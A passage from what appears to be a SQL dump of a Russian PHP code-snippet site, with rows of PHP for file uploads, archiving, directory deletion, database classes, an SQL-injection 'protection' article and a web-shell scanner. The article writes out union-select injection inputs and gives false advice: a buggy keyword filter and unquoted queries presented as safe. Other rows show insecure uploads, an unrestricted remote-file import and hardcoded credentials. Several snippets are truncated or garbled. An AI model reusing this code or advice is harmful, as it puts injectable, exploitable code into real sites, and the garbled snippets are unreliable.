// index.php //  &lt;!DOCTYPE HTML&gt; &lt;html&gt; &lt;head&gt; &lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html&quot; /&gt; &lt;meta name=&quot;author&quot; content=&quot;admin&quot; /&gt;  &lt;title&gt;Мультизагрузка&lt;/title&gt; &lt;/head&gt;  &lt;body&gt;  &lt;form action=&quot;upload.php&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&gt; &lt;input type=&quot;file&quot; name=&quot;files[]&quot; multiple&gt; &lt;input type=&quot;submit&quot; value=&quot;Загрузить&quot;/&gt; &lt;/form&gt;  &lt;/body&gt; &lt;/html&gt;','files_4920_5059_',151),(42,10,'загрузка файлов на сервер','использую в своих проектах, может и вам пригодится','&lt;?php // upload.php // if (isset($_FILES[\'file\'])) { $file = $_FILES[\'file\'];  // параметры файла $file_name = $file[\'name\']; $file_tmp = $file[\'tmp_name\']; $file_error = $file[\'error\']; $file_size = $file[\'size\']; $file_ext = pathinfo($file_name, PATHINFO_EXTENSION);  $allowed = array(\'txt\', \'zip\');  if (in_array($file_ext, $allowed)) { if ($file_error === 0) { if ($file_size &lt;= 2097152) { $file_new_name = uniqid(\'\', true) . \'.\' . $file_ext; $file_descination = \'uploads/\' . $file_new_name;  if (move_uploaded_file($file_tmp, $file_descination)) { echo $file_descination; } } } } } ?&gt;  // index.php //  &lt;!DOCTYPE HTML&gt; &lt;html&gt; &lt;head&gt; &lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html&quot; /&gt; &lt;meta name=&quot;author&quot; content=&quot;admin&quot; /&gt;  &lt;title&gt;Загрузка файла&lt;/title&gt; &lt;/head&gt;  &lt;body&gt;  &lt;form action=&quot;upload.php&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&gt; &lt;input type=&quot;file&quot; name=&quot;file&quot;/&gt; &lt;input type=&quot;submit&quot; value=&quot;Загрузить&quot;/&gt; &lt;/form&gt;  &lt;/body&gt; &lt;/html&gt;','files_2963_4830_',151),(43,10,'создание zip архивов','Мини-класс для работы с zip архивами.','&lt;?php  //Zipper.class.php//  class Zipper { private $_files = array(), $_zip;  public function __construct() { // вызываем класс архиватора $this-&gt;_zip = new ZipArchive; }  public function add($input) { if (is_array($input)) { // если добавляем несколько файлов $this-&gt;_files = array_merge($this-&gt;_files, $input); } else { // добавление одного файла $this-&gt;_files[] = $input; } }  public function store($location = null) { if (count($this-&gt;_files) &amp;&amp; $location) { // если есть файлы, и правильный путь, где будет создан новый архив foreach ($this-&gt;_files as $index =&gt; $file) { // удаляем файлы с не верными путями if (!file_exists($file)) { unset($this-&gt;_files[$index]); } }  if ($this-&gt;_zip-&gt;open($location, file_exists($location) ? ZIPARCHIVE::OVERWRITE : ZIPARCHIVE::CREATE)) { // создаем архив foreach ($this-&gt;_files as $file) { // добаляем в архив файлы $this-&gt;_zip-&gt;addFile($file, $file); }  $this-&gt;_zip-&gt;close(); // закрывем архив } } } } ?&gt;  Пример использования $zip = new Zipper;  $zip-&gt;add(array(\'files/1.txt\', \'files/2.txt\', \'files/3.txt\', \'files/4.txt\')); // добавление файлов в архив  $zip-&gt;store(\'files/archiv.zip\'); // создание архива','files_5178_4567_',151),(44,10,'Рекурсивное удалени папки','Функция рекурсивно удаляет все\r\nвложенные папки и файлы','function full_del_dir ($directory ) 2. { 3. $dir = opendir( $directory ) ; 4. while (( $file= readdir ( $dir ))) 5. { 6. if ( is_file ($directory . &quot;/&quot; . $file )) 7. unlink ( $directory . &quot;/&quot; . $file) ; 8. elseif ( is_dir ($directory . &quot;/&quot; . $file ) &amp;&amp; ($file != &quot;.&quot; ) &amp;&amp; ( $file != &quot;..&quot; )) 9. full_del_dir ($directory . &quot;/&quot; . $file ) ; 0. } 1. closedir ( $dir ) ; 2. rmdir ( $directory ) ; 3. return TRUE; 4. }','files_2965_3616_',151),(45,10,'Массовое переименование файлов','Укажем скрипту папку с тхт файлами он поочередно переименовывает их по порядку site_ru_1,site_ru_2,site_ru_3,site_ru_4,site_ru_5 и тд','&lt;?php chdir(\'./dir\'); // пака где лежит файлы $files = glob(\'*.3gp\'); // формат файлов foreach ($files as $n =&gt; $file) { rename($file, \'site_ru_\'.$n.\'.3gp\'); // новая названия файлов. сменим site_ru на свой } ?&gt;','files_2329_2457_',151),(46,10,'Класс автолоада файлов','Уплоад сис файлов.','spl_autoload_register(\'auto\'); function auto($name) { $file = \'Папка с сис файлами/\' . $name . \'.php\'; if (file_exists($file)) require_once($file); }','files_2269_2656_',151),(47,10,'Проверка доступности/существования файла','Например вы пишите ЗЦ, и импорт к нему, но при импорте не существующего файла данные запишутся в бд, и выведется файл весом в 0 байт. Так мы будем проверять функцей get_headers() существование файла. Если файл существует выдаётся в ответ код 200OK если его нет либо сайт не доступен будет ошибка 404','function TestFile($file){ $array=get_headers($file); if (preg_match(\'|200|i\',$array[\'0\'])){ $ok=\'1\'; }else{ $ok=\'0\'; } return $ok; }   Потом в файле где импорт инклудим функцию что выше, и добавляем в вывод ошибок if (TestFile($переменная_url) != \'1\'){echo \'Ошибка. файл не доступен, либо не существует\';}','files_5297_4878_',151),(48,10,'PHP - код для редактирования файла','Код для редактирования и последующего вывода html-кода на страницы. Можно вставить в админку в качестве модуля управления рекламой на страницах, например','&lt;?PHP echo \'&lt;html&gt;&lt;head&gt;&lt;meta http-equiv=&quot;content-type&quot; content=&quot;application/xhtml+xml; charset=utf-8&quot;/&gt;&lt;/head&gt;&lt;body&gt;\';  $act = htmlspecialchars($_GET[\'act\']); switch ($act) {  default: echo \'Редактирование&lt;br /&gt;\'; //Достаем исходное содержимое файла $dat = stripslashes(file_get_contents($_SERVER[\'DOCUMENT_ROOT\'].\'/text.txt\')); echo \'&lt;form action=&quot;?act=ok&quot; method=&quot;post&quot;&gt; &lt;textarea name=&quot;edit&quot; cols=&quot;38&quot; rows=&quot;8&quot;&gt;\'.$dat.\'&lt;/textarea&gt;&lt;br /&gt; &lt;input name=&quot;ok&quot; type=&quot;submit&quot; value=&quot;Изменить&quot; /&gt; &lt;/form&gt;&lt;br /&gt;\'; break;  case \'ok\': echo \'Результат&lt;br /&gt;\'; $edit = htmlspecialchars($_POST[\'edit\']); if(mb_strlen($edit) &gt; 10000) //Если ввели более 10000 символов { echo \'Ошибка! Слишком большой текст!&lt;br /&gt;\'; } else { $fp = fopen($_SERVER[\'DOCUMENT_ROOT\'].\'/text.txt\',\'w\'); fwrite($fp,$edit); fclose($fp); echo \'Текст успешно отредактирован!&lt;br /&gt;\'; } break;  }  echo &quot;&lt;/body&gt;&lt;/html&gt;&quot;; ?&gt;    //А это пишем в месте вывода echo stripslashes(htmlspecialchars_decode(file_get_contents($_SERVER[\'DOCUMENT_ROOT\'].\'/text.txt\')));','files_4986_4437_',151),(49,10,'Функция вырезания всех нечитаемых символов','Функция вырезания всех нечитаемых символов','function EscText( $text , $br = null ) // Вырезает все нечитаемые символы { if ( $br != null ) for ( $i = 0 ; $i &lt;= 31; $i ++) $text = str_replace (chr ($i ), null , $text ); else { for ( $i = 0 ; $i &lt; 10 ; $i ++) $text = str_replace ( chr( $i ), null , $text ); for ( $i = 11 ; $i &lt; 20 ; $i ++) $text = str_replace ( chr( $i ), null , $text ); for ( $i = 21 ; $i &lt;= 31; $i ++) $text = str_replace ( chr( $i ), null , $text ); } return $text ; }','files_2753_2528_',151),(50,10,'функция ВВ кодов','функция ВВ кодов','function bb_code ($text ) { $text = preg_replace ( \'/[b](.+)[/b]/sU\' , \'&lt;b&gt;1&lt;/b&gt;\' , $text ); $text = preg_replace ( \'/[i](.+)[/i]/sU\' , \'&lt;i&gt;1&lt;/i&gt;\' , $text ); $text = preg_replace ( \'/[u](.+)[/u]/sU\' , \'&lt;u&gt;1&lt;/u&gt;\' , $text ); $text = preg_replace ( \'/[s](.+)[/s]/sU\' , \'&lt;s&gt;1&lt;/s&gt;\' , $text ); $text = preg_replace ( \'/\' . preg_quote (\'[url=\' ). \'(.+)](.+)&amp;#9 2;[/url]/sU\' , \'&lt;a h $text = preg_replace ( \'/[url](.+)[/url]/sU\' , \'&lt;a href=&quot;1&quot;&gt;1&lt;/a&gt;\' , $text ); return $text ; }','files_4173_4823_',151),(51,10,'функция подсчета БД','функция подсчета БД','function query ( $query ) { global $cquery ; $cquery ++; return mysql_query ( $query ); }','files_4045_1642_',151),(52,10,'рекурсивная функция спускается по каталогуи переименовывает файлы с расширениемя из$ext_arr по маске 001.расширение','рекурсивная функция спускается по каталогуи переименовывает файлы с расширениемя из$ext_arr по маске 001.расширение','function my_rename ( $dirname ) { $ext_arr = array( \'jpeg\' , \'jpg\' , \'gif\' ); $dir = opendir( $dirname ); $count = 1 ; while (( $file = readdir( $dir )) !== false ) { if ( is_file ( $dirname . \'/\' . $file )) { $info = pathinfo ( $dirname . \'/\' . $file ); if ( in_array ( strtolower( $info [ \'extension\' ]), $ext_arr )) { rename ( $dirname . \'/\' . $file , $dirname . \'/\' . str_pad ( $count $count ++ ; } } elseif ( is_dir ( $dirname . \'/\' . $file ) &amp;&amp; $file != \'.\' &amp;&amp; $file != \' } closedir ( $dir ); }','files_5460_4379_',151),(53,10,'.ICQTEG.','[icq=номер] - тег для определения онлайн или\r\nоффлайн номер ICQ. Появится картинка в виде\r\nромашки.\r\n[icq_photo=номер] - появится фотка\r\nпользователя ICQ.','&lt;?php function icq_online($msg){ return preg_replace(\'#[icq=(d{5,9})]#\',\'&lt;img src=&quot;http://web.icq.com/whitepages/online?icq= 1&amp;amp;img=5&quot; alt=&quot;1&quot;/&gt;\',$msg); } function icq_photo($msg){ return preg_replace(\'#[icq_photo=(d {5,9})]#\',\'&lt;img src=&quot;http://c.icq.com/people/img/ show_photo.phpc?uin=1&quot; alt=&quot;1&quot;/&gt;\',$msg); } echo icq_online(\'тра-ля-ля [icq=123456789]\'); echo icq_photo(\'&lt;br/&gt;тра-ля-ля [icq_photo=123456789]\'); ?&gt;','files_4032_2267_',151),(54,10,'удаление лишних пробелов','удаление лишних пробелов','&lt;?php $text = preg_replace(\'# {2,}#\', \' \', $text); ?&gt;','files_2273_3543_',151),(55,10,'водяной знак (копирайт) на изображение','Пример использования:\r\n$i-Само изображение\r\n$l-Копирайт (изображение, только в .png)\r\n$format-формат файла (.png, .gif...)\r\n\r\ncopy_img(\'foto.jpg\', \'copy.png\', \'.jpg\');\r\n\r\nи вуаля, к картинке лепится копирайт.','&lt;?php function copy_img($i,$l,$format){ // изображение if($format==\'.png\' or $format==\'.PNG\') $image = imagecreatefrompng($i); if($format==\'.jpg\' or $format==\'.JPG\') $image = imagecreatefromjpg($i); if($format==\'.jpeg\' or $format==\'.JPEG\') $image = imagecreatefromjpeg($i); if($format==\'.gif\' or $format==\'.GIF\') $image = imagecreatefromgif($i); // ширина изображения $image_width = imagesx($image); // высота изображения $image_height = imagesy($image); // логотип $logo = imagecreatefrompng($l); // ширина логотипа $logo_width = imagesx($logo); // высота логотипа $logo_height = imagesy($logo); // Позиция лого $image_x = $image_width - $logo_width - 10; $image_y = $image_height - $logo_height - 10; imagecopy($image, $logo, $image_x, $image_y, 0, 0, $logo_width, $logo_height); // Освобождаем память изображения-логотипа imagedestroy($logo); // Перезаписываем изображение imagejpeg($image, $i); } ?&gt;','files_2050_5008_',151),(56,10,'Импорт файлов','Импорт файлов','&lt;?php $url=$_POST[\'file\']; $info_url = pathinfo($url); $whitelist = array(\'jpg\', \'JPG\', \'jpeg\', \'JPEG\', \'gif\', \'GIF\', \'png\', \'PNG\'); $dir = \'../files/images\';  if (!empty($_POST[\'sends\'])) { $ext = $info_url[\'extension\'];   if (preg_match(\'/php/i\', $name) || preg_match(\'/pl/i\', $name) || $name == \'htaccess\' || !in_array($ext, $whitelist)) { $err2 .= \'Не верное расширение файла&lt;br /&gt;\'; } if(isset($err2)) echo \'\'.$err2.\'\'; if(empty($err2)){ $name=$URL.\'-\'.rand(3, 99999).\'\'.time().\'.\'.$ext;  copy($url, $dir.\'/\'.$name); $size = filesize($dir.\'/\'.$name); header(\'Location: ?\'); exit; } } echo \'&lt;div class=&quot;menu&quot;&gt;&lt;form method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&gt;\'; echo \'Файл:&lt;br /&gt;&lt;input type=&quot;text&quot; name=&quot;file&quot; value=&quot;http://&quot; /&gt;&lt;br /&gt;\'; echo \'&lt;input type=&quot;submit&quot; name=&quot;sends&quot; value=&quot;Загрузить&quot;/&gt;\'; echo \'&lt;/form&gt;&lt;/div&gt;\'; ?&gt;','files_3171_3809_',151),(57,12,'Вывод последних данных из БД','Вывод последних данных из БД','&lt;?php $result = mysql_query(&quot;SELECT * FROM `tablica` ORDER BY `stolb` DESC LIMIT 3&quot;); while ($out=mysql_fetch_assoc($result)){     echo $out[\'stolb\'].\'&lt;br /&gt;\'; } ?&gt;','files_2208_1948_',151),(58,12,'Вывод из базы данных PDO','Выводим значения из бд. Первый вариант, вывод с определенным условием. Второй вариант,вывод нужного количество инфы(лимит). Данные запросы,выполняются с предусмотренным подключением к бд','// первый варик $lol = $db -&gt; prepare(&quot;SELECT FROM * table WHERE id = :id&quot;); $lol -&gt; execute(array(\':id\' =&gt; $user[\'id\'])); while($user = $lol -&gt; fetch()) { //Выводим,например,имя пользователя. echo $user[\'name\']; } //второй $lol = $db -&gt; prepare(&quot;SELECT FROM * table limit 3 order by :id desc&quot;); $lol -&gt; execute(array(\':id\' =&gt; $user[\'id\'])); while($user = $lol -&gt; fetch()) { //Выводим,например,3-х пользователей. echo $user[\'login\']; }','files_1261_3212_',151),(59,12,'PDO: Копируем структуру таблицы.','Копирование структуры таблиц из одной базы в другую:','&lt;? $pdo = new PDO(); $res = $pdo-&gt;exec(&quot;DROP DATABASE IF EXISTS `testDB`&quot;); $res = $pdo-&gt;exec(&quot;CREATE DATABASE `testDB`&quot;);  $tables = $pdo-&gt;query(&quot;SHOW TABLES FROM `developDB`&quot;); $tables = $tables-&gt;fetchAll(PDO::FETCH_COLUMN, 0);  foreach ($tables as $table) { $res = $pdo-&gt;exec(&quot;CREATE TABLE `$table ` LIKE `developDB`.`$table`&quot;); } ?&gt;','files_1940_1708_',151),(60,12,'Вывод меток','Полезен для соц сетей','function tegs($str){ if(!empty($str)){ $tegs = explode(\',\', $str); $all_tegs = count($tegs); $str_Tegs = \'&lt;a href=&quot;/tegs.php?search=\'.input($tegs[\'0\']).\'&quot;&gt;\'.input($tegs[\'0\']).\'&lt;/a&gt;\'; for($i = 1; $i&lt;=$all_tegs-1; $i++){ $str_Tegs .= \', &lt;a href=&quot;/tegs.php?search=\'.input($tegs[$i]).\'&quot;&gt;\'.input($tegs[$i]).\'&lt;/a&gt;\'; } $str = $str_Tegs; } else { $str = \'Меток нет.\'; } return $str;}// Использоватьecho tegs(\'php\', \'mysql\');','files_2125_3227_',151),(61,12,'PDO: кол-во записей в таблице!','Не для кого не секрет что у PDO нет возможности выдать количество записей в таблице, тобишь аналога (mysql(i)_num_rows).','# подготавливаем запрос (создаем псевдоним для COUNT(*)) $query = $db-&gt;prepare(&quot;SELECT COUNT(*) as count FROM table&quot;smile; # выполняем $qurey-&gt;execute(); # получаем данные из fetch_obj по средством псевдонима $count = $query-&gt;fetch(PDO::FETCH_OBJ)-&gt;count; # выводим результат echo $count;','files_2867_4829_',151),(62,12,'Пример вывода из базы.','Так же, для вывода 3\r\nданных на главную ставим LIMIT 3','&lt;?php $q=mysql_query (\'SELECT * FROM `ваша таблица` LIMIT 10\') ; while($post=mysql_ fetch_assoc($q)){ // Ну и выводим тут, например echo $post[\'name\']; // только не забываем ставить фильтры) } ?&gt;','files_4497_5475_',151),(63,12,'Класс для работы с MySQL','Класс для работы с MySQL','&lt;?php class mysql { private $mysql_error = \'\'; private $mysql_version = \'\'; private $mysql_error_num = 0; private $show_error = true;  public $query_num = 0; public $connect = false; public $result = false; public $time_taken = 0;  public function __construct( $show_error = true ) { $this-&gt;show_error = $show_error;  if(!$this-&gt;connect = @mysql_connect( DB_HOST, DB_USER, DB_PASS )) { if( $show_error ) $this-&gt;display_error(mysql_error(), mysql_errno()); else return false; }  if(!@mysql_select_db(DB_NAME, $this-&gt;connect)) { if( $show_error ) $this-&gt;display_error(mysql_error(), mysql_errno()); else return false; }  $this-&gt;mysql_version = mysql_get_server_info();  if(!defined(\'COLLATE\')) define (\'COLLATE\', \'cp1251\');  if (version_compare($this-&gt;mysql_version, \'4.1\', &quot;&gt;=&quot;)) mysql_query(\'/*!40101 SET NAMES \'\' . COLLATE . \'\' */\');  return true; }  public function __destruct() { @mysql_close($this-&gt;connect); }  public function query( $query, $once = false ) { $time_before = $this-&gt;get_real_time();  if(!($this-&gt;result = mysql_query( $query, $this-&gt;connect ) ) &amp;&amp; $this-&gt;show_error) { $this-&gt;mysql_error = mysql_error(); $this-&gt;mysql_error_num = mysql_errno();  $this-&gt;display_error($this-&gt;mysql_error, $this-&gt;mysql_error_num, $query); }  $this-&gt;query_num ++; $this-&gt;time_taken += $this-&gt;get_real_time() - $time_before;  if( $once ) return mysql_fetch_assoc( $this-&gt;result );  return $this-&gt;result; }  public function get_row() { return mysql_fetch_assoc( $this-&gt;result ); }  public function get_array() { return mysql_fetch_array( $this-&gt;result ); }  public function num_rows() { return mysql_num_rows( $this-&gt;result ); }  public function free() { return mysql_free_result( $this-&gt;result ); }  public function safe( $source ) { return mysql_escape_string($source); }  private function get_real_time() { list($seconds, $microSeconds) = explode(\' \', microtime()); return ((float)$seconds + (float)$microSeconds); }  private function display_error($error, $error_num, $query = \'\') { if($query) { $query = preg_replace(&quot;/([0-9a-f]){32}/&quot;, &quot;********************************&quot;, $query); $query_str = &quot;$query&quot;; }  die(\' &lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt; &lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt; &lt;head&gt; &lt;title&gt;MySQL Fatal Error&lt;/title&gt; &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=windows-1251&quot; /&gt; &lt;style type=&quot;text/css&quot;&gt; &lt;!-- body { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-style: normal; color: #000000; } --&gt; &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;font size=&quot;4&quot;&gt;MySQL Error!&lt;/font&gt; &lt;br /&gt;------------------------&lt;br /&gt; &lt;br /&gt;  &lt;u&gt;The Error returned was:&lt;/u&gt; &lt;br /&gt; &lt;strong&gt;\'.$error.\'&lt;/strong&gt;  &lt;br /&gt;&lt;br /&gt; &lt;/strong&gt;&lt;u&gt;Error Number:&lt;/u&gt; &lt;br /&gt; &lt;strong&gt;\' . $error_num . \'&lt;/strong&gt; &lt;br /&gt; &lt;br /&gt;  &lt;textarea name=&quot;&quot; rows=&quot;10&quot; cols=&quot;52&quot; wrap=&quot;virtual&quot;&gt;\' . $query_str . \'&lt;/textarea&gt;&lt;br /&gt;  &lt;/body&gt; &lt;/html&gt;\'); } }   #####Пример  define( \'DB_HOST\', \'localhost\' ); define( \'DB_USER\', \'root\' ); define( \'DB_PASS\', \'\' ); define( \'DB_NAME\', \'db\' );  $db = new mysql(); // $db = new mysql(false); если не нужно выводить ошибки  $text = $db-&gt;safe( $_POST[\'text\'] ); // Короткая запись mysql_real_escape_string  $db-&gt;query(\'SELECT * FROM my_table WHERE text = \'\' . $text . \'\' \'); while( $row = $db-&gt;get_row() ) // или get_array() { ... }  $row = $db-&gt;query(\'SELECT count(id) FROM my_table\', true); // Запрос возвращает один ряд echo $row[\'count(id)\'];  $db-&gt;free(); //Если запрос был &quot;большой&quot;, желательно освободить ресурсы после использования  echo \'Запросов сделано: \' . $db-&gt;query_num; echo \'Запросы выполены за: \' . $db-&gt;time_taken . \'c\';    ?&gt;','files_3143_3349_',151),(64,12,'Правильное использование PDO::prepare','Правильное использование PDO::prepare','&lt;?php  # конфигурации $db_host = \'localhost\'; $db_name = \'project\'; $username = \'root\'; $password = \'\';  # выполнение подключения try { $db = new PDO(&quot;mysql:host=&quot;.$db_host.&quot;;dbname=&quot;.$db_name, $username, $password, array(PDO::MYSQL_ATTR_INIT_COMMAND =&gt; &quot;SET NAMES utf8&quot;)); $db-&gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING); echo &quot;Мы подключены к &quot;.$db_name; } catch (PDOException $e) { die(\'PDO-&gt;ERROR::\'.$e-&gt;getMessage()); }   # подготавливаем запрос $stm = $db-&gt;prepare(\'SELECT * FROM table\'); # выполняем $stm-&gt;execute(); # преобразуем в ассоциативный массив $row = $stm-&gt;fetch(PDO::FETCH_ASSOC);  # используем как душе угодно if($row) { echo \'Таблица есть! Значит можно вывести с нее данные в ассоциативном массиве.\'; } else { print_r($db-&gt;errorInfo()); }','files_2724_4368_',151),(65,12,'SQL dumper','Простой sql дампер. Для импор sql файлы. Думаю полезна для тех кто сидеть с телефона.','&lt;?php ######################################### # SQL dumper # # Автор: KING ( Mahmudjon Sayfiddinov ) # # Агент: uzcms@bk.ru # # Qisqacha aytganda barchangizga omad! # #########################################  mysql_connect(\'localhost\', \'msu\', \'123456\'); // имя пользователя и пароль mysql_select_db(\'msu\'); // название базы данных mysql_query(\'SET NAMES utf8\');  echo \'&lt;div&gt;SQL dumper&lt;/div&gt;\';  // импортим sql фала $my_sql = file_get_contents(\'база.sql\'); // смените на свой sql файл $sql = explode(\';\', $my_sql); for($i = 0; $i &lt; count($sql); $i++){ mysql_query($sql[$i]); } echo \'Нет ошибка типо &quot;Warning: file_get_contents...&quot; ? То всё хорошо! =) А то вы неправильно указали пут .sql файла =(\'; ?&gt;','files_2486_1934_',151),(66,12,'Размер базы данных MySQL','Подсчёт размерa базы\r\nданных через MySQL','&lt;?php $sql = new mysqli(\'localhost\', \'user\', \'pass\', \'dbname\') or die (\'MySQLi ERROR\'); $q = $sql-&gt;query(\'SHOW TABLE STATUS\'); while($row = $q-&gt;fetch_assoc ()) { $dbsize+=$row [\'Data_length\']+$row [\'Index_length\']; } echo $dbsize.\' байт\'; ?&gt;','files_5290_2388_',151),(67,12,'Вывод n-го кол-во данных из БД.','Скрипт выводит последние 3 записи из БД.','&lt;?php $result = mysql_query(&quot;SELECT * FROM `tablica` ORDER BY `stolb` DESC LIMIT 3&quot;); while ($out=mysql_fetch_assoc($result)){ echo $out[\'stolb\'].\'&lt;br /&gt;\'; } ?&gt;','files_1472_4882_',151),(68,12,'Защита от иньекций','Защита от иньекций','Способы защиты от SQL-инъекций Самый простой способ защиты от SQL- инъекции – «обрамлять» параметры SQL-запроса одиночными кавычками (\'), поскольку через GET- и POST- запрос невозможно передать символ одиночной кавычки (он будет автоматически заменен сочетанием символов – \' – т.е. экранироваться). SELECT * FROM `table_name` WHERE `param` = \'$param_name\' ORDER BY `sort` ASC; SQL-запрос в случае инъекции будет выглядеть примерно так: SELECT * FROM `table_name` WHERE `param` = \'10 union select 1,2,3 /*\' ORDER BY `sort` ASC; Т.е. для обработчика запросов, при отбрасывании части запроса после /*, запрос будет выглядеть примерно так: SELECT * FROM `table_name` WHERE `param` = \'10 union select 1,2,3 Обработчик запросов, не найдя закрывающей кавычки посчитает этот запрос ошибочным и не выполнит его. Если попытаться GET- запросом передать фрагмент кода с кавычкой: 10\' union select 1,2,3/* , то, после отбрасывания комментария, SQL-запрос будет выглядеть так: SELECT * FROM `table_name` WHERE `param` = \'10\' union select 1,2,3 В этом случае обработчик также не выполнит этот запрос, потому что не найдет закрывающей кавычки, т.к. сочетание символов \' будет расценено не как закрывающая кавычка, а как внутренний символ \', который должен содержаться в поле `param`. Однако такой способ не гарантирует стопроцентной защиты от SQL- инъекций. Приведем несколько дополнительных способов Всегда проверяйте числовые параметры функцией intval. При проверке такого параметра: 10\' union select 1,2,3/* , функция intval вернет значение 10, что исключает возможность SQL- инъекции. Однако не все параметры являются числовыми. Например: http:// somesite.dom/index.php? section=about Здесь параметр section является строковым, и функция intval здесь не может быть применена. Что бы избежать вредоносного запроса, можно воспользоваться следующими функциями: mysql_escape_string – экранирует все спецсимволы; Так же можно проверять строковые параметры на наличие в них таких слов как &quot;select&quot;, &quot;union&quot;, &quot;order&quot;, &quot;char&quot;, &quot;where&quot;, &quot;from&quot;. Пример функции на PHP 5: &lt;?php function escape_inj ( $text ) { &lt; br / &gt; $text = strtolower ( $text ); // Приравниваем текст параметра к нижнему регистру &lt;br /&gt; if ( &lt; br /&gt; ! strpos ( $text , &quot;select&quot; ) &amp;&amp; // &lt;br/&gt; !strpos($text, &quot;union&quot;) &amp;&amp; // &lt;br/&gt; !strpos($text, &quot;select&quot;) &amp;&amp; // &lt;br/&gt; !strpos ($text, &quot;order&quot;) &amp;&amp; // Ищем вхождение слов в параметре &lt;br /&gt; ! strpos( $text , &quot;where&quot; ) &amp;&amp; // &lt;br/ &gt; ! strpos( $text , &quot;char&quot; ) &amp;&amp; // &lt;br/&gt; ! strpos( $text , &quot;from&quot; ) // &lt;br/&gt; ) { &lt;br/ &gt; return true ; // Вхождений нету - возвращаем true &lt;br /&gt; } else { &lt; br/&gt; return false ; // Вхождения есть - возвращаем false &lt;br /&gt; } &lt; br /&gt;} &lt; br /&gt; $section = $_GET [ section]; // Читаем параметр &lt;br /&gt;if (! escape_inj ( $section ) ) { // Проверяем параметр &lt;br/&gt; echo &quot;Это SQL-инъекция.&quot; ; &lt; br / &gt; exit (); &lt; br/ &gt;} else { &lt; br / &gt; $result = mysql_query ( &quot;SELECT * FROM `tbl_name` WHERE `section` = $section &quot; ); &lt; br/&gt; ... // Продолжаем работу &lt;br /&gt;} ?&gt; Строк: 1 Никогда не храните пароли в базе данных в открытом виде, обязательно шифруйте их (например, функцией sha1). С помощью SQL- инъекции легко &quot;достать&quot; данные из базы данных, а если они будут зашифрованы, то есть большая вероятность того, что злоумышленник не сможет ими воспользоваться. Для обеспечения конфиденциальности логина и пароля для доступа к базе данных, функции подключения к базе данных лучше хранить в отдельном файле и подключать его в каждой странице сайта. Так же, отключение вывода на экран ошибок, возникших при неверном запросе, сильно усложняет задачу злоумышленнику. Что бы отключить вывод ошибок достаточно написать следующее (например, в файле подключения базы данных): ini_set (\'display_errors\', \'0\'); Старайтесь проверять результат каждого выполняемого запроса на выполнение и количество найденных записей. Если их количество равно нулю, перенаправляйте пользователя, например, на главную страницу, это обеспечит хорошую защиту от SQL-инъекций. Пример на PHP 5: &lt;?php $section = $_GET [ section]; // Читаем параметр &lt;br /&gt;$result = mysql_query ( &quot;SELECT * FROM `tbl_name` WHERE `section` = $section &quot; ); // выполняем запрос &lt;br /&gt;if (! $result II mysql_num_ rows ( $result ) == 0) { // Кол-во найденных полей = 0, или запрос не б ыл выполнен &lt;br /&gt; header ( &quot;Location: &lt;a href=&quot; http : //dcms- social.ru/go.php? go=aHR0cDovLyRfU0VSVkVSW0hUVFBfS E9TVF0=&quot;&gt;Ссылка&lt;/a&gt; /&quot;); // Уходим на главную страницу &lt;br/&gt; exit (); &lt;br/&gt;} else { &lt;br/&gt; ... // Продолжаем работу &lt;br/&gt;} ?&gt; Строк: 1 Если Ваш сайт не содержит разделов, в которых производится запись или редактирование строк в базе данных, то необходимо у пользователя базы данных, под которым происходит соединение с базой, отключить все права, кроме права на чтение данных. По-умолчанию, у пользователя базы данных есть права и на удаление, и на редактирование. Для разделов сайта, требующих больших прав, например книга отзывов или форум стоит завести отдельного пользователя, у которого будет право на редактирование только конкретной таблицы. А для системы управления сайтом необходимо завести отдельного пользователя базы данных, т.к. ему необходимы полные права. Все описанные выше способы не гарантируют стопроцентной защиты от SQL-инъекций, однако, помогут предотвратить их в подавляющем большинстве случаев.','files_3543_4595_',151),(69,12,'поиск уязвимостей в скриптах','Задача: найти шелл или\r\nдругой уязвимый скрипт на сервере.\r\nВ ручную это займёт большое\r\nколичество времени, поэтому\r\nприбегнем к помощи php. Для\r\nначала нужно рекурсивно собрать ссылки на все существующие\r\nфайлы, а далее мы проверим\r\nкаждый скрипт на наличее\r\nвредоносного кода и при\r\nнеобходимости уберём его с\r\nнашего сервера.','&lt;?php /* findrisk.php */ set_time_limit(0); ini_set(&quot;set_time_limit&quot;,0); ini_set(&quot;memory_limit&quot;, &quot;128M&quot;); function _readdir($d,&amp;$files) { global $opendir; $dir = opendir ($d); while ( $file = readdir ($dir)) { if (( $file != &quot;.&quot;) &amp;&amp; ($file != &quot;..&quot;)) { $opendir=$d.&quot;/&quot;.$file; if(filetype($opendir)==&quot;dir&quot;) { _readdir($opendir,&amp;$files); } else { $files[] = $opendir; } } } closedir ($dir); } _readdir(&quot;.&quot;,&amp;$files); $exp = array( \'file_put_contentss*(\', \'fwrites*(\', \'fputs*(\', \'evals*(\', \'systems*(\', \'&lt;frame[^&gt;] \', \'&lt;iframe[^&gt;] \' ); $regexp = \'/.{15}b(\'.implode ($exp,&quot;|&quot;).\')b.{15}/Uis\'; foreach ($files as $index) { $content = file_get_contents($index); if(preg_match_all($regexp,$content, $match)) { //print_r($match); echo &quot;&lt;b&gt;&quot;.$index.&quot;&lt;/b&gt;&quot;; for($j=0;$j&lt;count($match[0]);$j ) { $match[0][$j] = htmlspecialchars ($match[0][$j]); $match[1][$j] = htmlspecialchars ($match[1][$j]); $text = str_replace($match[1][$j], &quot;&lt;font color=\\&quot;#FF0000\\&quot;&gt;&lt;b&gt;&quot;. $match[1][$j].&quot;&lt;/b&gt;&lt;/font&gt;&quot;, htmlspecialchars($match[0][$j])); echo &quot;&lt;br&gt;&quot;.$text; } echo &quot;&lt;br&gt;&lt;br&gt;&quot;; } } ?&gt;','files_2360_2957_',151),(70,12,'Определение браузера посетителя сайта','Функция\r\nопределения браузера по 